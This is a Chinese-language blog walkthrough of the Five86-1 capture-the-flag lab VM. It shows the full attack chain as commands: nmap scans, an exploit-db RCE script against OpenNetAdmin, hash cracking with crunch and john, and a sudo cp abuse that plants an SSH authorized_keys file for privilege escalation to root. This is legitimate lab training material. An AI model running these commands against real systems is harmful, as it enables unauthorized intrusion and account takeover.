首页 > 其他分享 >Five86-1靶机测试记录

Five86-1靶机测试记录

时间:2022-10-06 19:00:55浏览次数:39  
标签:hash Five86 ona 192.168 ssh 测试 靶机 txt jen

靶机信息

下载地址:https://www.five86.com/five86-1.html 网络连接:NAT,kali和靶机为同一网段 下载好靶机解压后,直接运行文件夹里的.ova文件即可

信息搜集

使用nmap扫描同网段的信息,筛选出目标ip地址

nmap -sn 192.168.74.0/24

image-20220214163726275.png 对此ip做进一步的扫描

nmap -A 192.168.74.136

image-20220214164315089.png 浏览器访问该ip发现网页为空白界面 从扫描信息中的可以获得两个路径/robots.txt /ona image-20220214164903813.png image-20220214164913093.png

漏洞利用

OpenNetAdmin简称ona,是一款网络管理工具 在kali上搜索到两个该版本的漏洞,目标主机的ona版本为v18.1.1,可以进行利用 image-20220214165624438.png 这里使用的是RCE的漏洞 脚本文件路径:./usr/share/exploitdb/exploits/php/webapps/47691.sh 运行脚本文件,在后面跟上目标主机的ona路径即可利用漏洞

./47691.sh http://192.168.74.136/ona/

image-20220218144334915.png 进入目标主机后,发现无法使用cd命令,查找下有权限可以访问的文件 发现有几个var路径下的文件可以查看

find / -user www-data

image-20220218150208111.png 查看.htaccess文件后提示另外一个路径 再查看.htpasswd文件发现了一段hash,douglas应该为用户名 最后一行提示密码是由aefhrt组成长度为10的密码 image-20220218151116317.png 使用crunch生成由字母aefhr组成的10位密码组合到该txt文本当做字典

crunch 10 10 aefhrt -o /five86pass.txt

image-20220215114106705.png 将之前的hash写入到文档中,然后使用john进行暴破 five86pass.txt为生成的字典,hash.txt为获取到的密码hash 等个两三分钟就能跑出结果来,得到密码fatherrrrr,douglas/fatherrrrr

john --wordlist=/five86pass.txt /hash.txt

image-20220215115123186.png 试了下是ssh的账号密码,登录到ssh 发现cp命令可以用jen的身份免密执行

ssh -l douglas 192.168.74.136
sudo -l

image-20220215115523897.png 可以通过ssh密钥进行免密登录 ssh免密登录需要创建/authorized_keys目录,这里在tmp目录下创建,且最低需要600权限 使用jen用户来执行cp命令,将ssh公钥复制到jen家目录下,然后使用ssh公钥登录

cd ~
cp .ssh/id_rsa.pub /tmp/authorized_keys
chmod 777 /tmp/authorized_keys
sudo -u jen /bin/cp /tmp/authorized_keys /home/jen/.ssh/
ssh -i id_rsa [email protected]

image-20220215141717242.png 登录到jen账户后发现有邮件 查看邮件发现moss账户的密码为Fire!Fire!,登录到moss账户 image-20220215142216641.png 在moss的home目录中发现了一个隐藏文件夹.games 在.games文件夹里找到了一个可执行程序upyourgame,全输yes即可 完成问答后即可获取到root权限,然后在root目录下找到flag

cd /home/moss
ls -a
cd .games/
./upyourgame 

image-20220215144658182.png

标签:hash,Five86,ona,192.168,ssh,测试,靶机,txt,jen
From: https://blog.51cto.com/Jach1n/5733956

相关文章

  • 测试for和foreach循环跳出中断的问题
    1、for循环for使用return、break,是跳出了整个循环。 for(vari=0;i<5;i++){      console.log(i)      if(i==3){   ......
  • 测试标准
    1兼容性1.1定义兼容性测试是指测试软件在特定的硬件平台上、不同的应用软件之间、不同的操作系统平台上、不同的网络等环境中是否能够很友好的运行的测试。1.2兼容测......
  • 9.30课堂测试
    没有使用栈来完成,不够简约,仍需改进。但是实现了继承和基本要求2年纪类packagearith;importjava.util.ArrayList;importjava.util.Scanner;importjava.util.Random;......
  • python+selenium做ui自动化测试用法必会
    python+selenium做ui自动化测试用法必会一、前言大家都知道,基于Web端的测试的基础框架是需要Selenium做主要支撑的,这里边给大家介绍下Web测试核心之基于Python的Sele......
  • 性能测试jvm垃圾收集器G1和 CMS 的区别【杭州多测师】【杭州多测师_王sir】
    G1和CMS的区别平时工作中大多数系统都使用CMS,那么G1相对于CMS的区别在:1.G1在压缩空间方面有优势2.G1通过将内存空间分成区域(Region)的方式避免内存碎片问题3.......
  • 全功能测试框架 - Carina
    Carina是一个基于Java的测试自动化框架,它将所有测试层结合在一起:移动应用程序(web、本机、混合)、web应用程序、REST服务和数据库。github:https://github.com/zebrunner/ca......
  • 白盒测试学习
    视频链接:​​由浅入深学会白盒测试​​https://www.iqiyi.com/v_19rutfvny0.html#curid=10723543700_448c7137744e9f4a0cbd47d2f7771eea1、整体概念1.1、白盒测试特点:1.2、......
  • ping命令的多种玩法,以前竟然只用它来测试网速!
    作为开发人员,ping命令无疑是使用比较多的工具,我们经常在需要判断与服务器的连接是否连桶时需要使用ping命令来测试。【阅读全文】一般情况下使用ping命令来判断路由地址......
  • 跳过测试
         ......
  • 搭建appium自动化测试环境
    1.Java环境配置2.安装appium3.安装模拟器夜神模拟器,雷电模拟器启动模拟器 4.下载android-sdk-windows,放到任意盘,并配置环境变量     ......